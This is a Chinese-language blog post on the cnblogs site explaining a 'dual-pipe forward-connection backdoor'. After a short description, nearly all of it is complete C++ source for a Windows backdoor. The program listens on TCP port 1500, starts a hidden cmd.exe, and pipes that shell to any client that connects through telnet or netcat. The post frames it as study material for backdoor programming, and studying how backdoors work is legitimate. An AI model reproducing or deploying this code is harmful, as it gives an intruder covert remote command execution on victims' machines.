zoukankan      html  css  js  c++  java
  • 安全之路 —— 双管道正向连接型后门解析

    ##简述

    后门程序有两个重要的过程,分别是socket与cmd通信的过程和cmd结果回传给socket的过程。而双管道正向连接型后门是后门中最古老的一种,采用两个匿名管道,分别负责上述两个重要过程。其中正向连接的意思是后门充当Server端,然后用户使用**telnet或netcat(nc)**充当客户端连接工具,主动连接后门,这种连接方式具有被防火墙拦截的危险,所以一般不用于现代后门,但却是后门编程学习的必经之路。

    • 双管道图例
      双管道连接图例

    ##C++代码样例

    /*
    *@Author: PeterZ
    *@Time: 2018/2/19
    *@Function: 双管道正向连接后门(Default_Port: 1500)
    */
    
    #include <iostream>
    #include <cstdio>
    #include <cstdlib>
    #include <Windows.h>
    #include <winsock.h>
    #pragma comment(lib, "ws2_32.lib")
    
    using namespace std;
    
    #define MAX_CONNECT_NUM 255 //最大连接数
    
    SOCKET g_sListen;
    SOCKET g_sClient[MAX_CONNECT_NUM];
    HANDLE g_hReadPipe, g_hWritePipe, g_hWriteFile, g_hReadFile;
    
    DWORD WINAPI ThreadInputPipe(LPVOID lpParam) //从socket到cmd之间的数据管道
    {
    	SOCKET sTemp = (SOCKET)lpParam;
    	SECURITY_ATTRIBUTES sa;
    	DWORD dwByteToWrite, dwByteWritten;
    	char recv_data[1024] = "";
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    	sa.bInheritHandle = TRUE;
    	sa.lpSecurityDescriptor = NULL;
    	CreatePipe(&g_hReadPipe, &g_hWriteFile, &sa, 0);
    	Sleep(300);
    	while (true)
    	{
    		dwByteToWrite = recv(sTemp, recv_data, 2048, 0); //建立管道
    		if (dwByteToWrite != SOCKET_ERROR)
    		{
    			WriteFile(g_hWriteFile, recv_data, dwByteToWrite, &dwByteWritten, NULL); //向管道中写数据
    			Sleep(100);
    		}
    	}
    	return 0;
    }
    
    DWORD WINAPI ThreadOutputPipe(LPVOID lpParam)   //从cmd到socket之间的数据管道
    {
    	SOCKET sTemp = (SOCKET)lpParam;
    	SECURITY_ATTRIBUTES sa;
    	char send_buf[2048] = "";
    	DWORD len = 0, dwTotalAvail = 0;
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    	sa.bInheritHandle = TRUE;
    	sa.lpSecurityDescriptor = NULL;
    	CreatePipe(&g_hReadFile, &g_hWritePipe, &sa, 0);  //建立管道
    	Sleep(300);
    	while (true)
    	{
    		while (PeekNamedPipe(g_hReadFile, NULL, 0, NULL, &dwTotalAvail, NULL))
    		{
    			ReadFile(g_hReadFile, send_buf, 2048, &len, NULL); //从管道中读数据
    			Sleep(100);
    			send(sTemp, send_buf, len, 0);
    		}
    	}
    	return 0;
    }
    
    DWORD WINAPI ThreadConnWork(LPVOID lpParam)  //多用户连接处理线程
    {
    	SOCKET sTemp = (SOCKET)lpParam;
    	HANDLE hThread[2];
    	DWORD dwThreadId1, dwThreadId2;
    	PROCESS_INFORMATION pi;
    	STARTUPINFO si;
    	hThread[0] = CreateThread(NULL, 0, ThreadInputPipe, LPVOID(sTemp), 0, &dwThreadId1); //管道1线程建立
    	hThread[1] = CreateThread(NULL, 0, ThreadOutputPipe, LPVOID(sTemp), 0, &dwThreadId2); //管道2线程建立
    	Sleep(200);
    	GetStartupInfo(&si);
    	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    	si.hStdInput = g_hReadPipe;
    	si.hStdOutput = g_hWritePipe;
    	si.hStdError = g_hWritePipe;
    	si.wShowWindow = SW_HIDE;
    	char cmdline[255] = "";
    	GetSystemDirectory(cmdline, sizeof(cmdline));
    	strcat_s(cmdline, "\cmd.exe");
    	if (!CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) return 0;
    	WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
    	return 0;
    }
    
    int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) //主函数
    {
    	const char *wMessage = "===================> Hello, Welcome to Server <====================
    ===================> Prepare For the CMD: <====================
    ";
    	unsigned int conn_count = 0;
    	HANDLE connThread[255];
    	DWORD dwThreadConnId[255];
    	BYTE btSocMajorVer = 2, btSocMinorVer = 2;
    	WSADATA wsaData;
    	if (WSAStartup(MAKEWORD(btSocMajorVer, btSocMinorVer), &wsaData)) return 0;
    	g_sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    	if (g_sListen == INVALID_SOCKET) return 0;
    	sockaddr_in sin;
    	sin.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(1500);
    	if (bind(g_sListen, (LPSOCKADDR)&sin, sizeof(SOCKADDR)) == SOCKET_ERROR) return 0;
    	if (listen(g_sListen, 5) == SOCKET_ERROR) return 0;
    	sockaddr_in csin;
    	int len = sizeof(SOCKADDR);
    	for (conn_count = 0; conn_count < MAX_CONNECT_NUM; conn_count++) //多用户连接线程处理
    	{
    		g_sClient[conn_count] = accept(g_sListen, (LPSOCKADDR)&csin, &len);
    		connThread[conn_count] = CreateThread(NULL, 0, ThreadConnWork, LPVOID(g_sClient[conn_count]), 0, &dwThreadConnId[conn_count]);
    		send(g_sClient[conn_count], wMessage, strlen(wMessage), 0);
    	}
    	WaitForMultipleObjects(conn_count, connThread, true, INFINITE);
    	for (unsigned int i = 0; i < conn_count; i++)
    	{
    		closesocket(g_sClient[i]);
    	}
    	closesocket(g_sListen);
    	CloseHandle(g_hReadFile);
    	CloseHandle(g_hReadPipe);
    	CloseHandle(g_hWriteFile);
    	CloseHandle(g_hWritePipe);
    	WSACleanup();
    	return 0;
    }
    
  • 相关阅读:
    文件操作_1-24 选择题
    文件操作_1-22 选择题
    文件操作_1-21 选择题
    druid与知乎平台
    b树和b+树
    mybatis generator的generatorConfig.xml配置详解
    logback日志配置文件
    单链表每k个节点为一组进行反转(最后不满k个时不反转)
    单链表每k个节点一组进行反转(最后不足k个也反转)
    shell 结合expect实现ssh登录并执行命令
  • 原文地址:https://www.cnblogs.com/csnd/p/12897025.html
Copyright © 2011-2022 走看看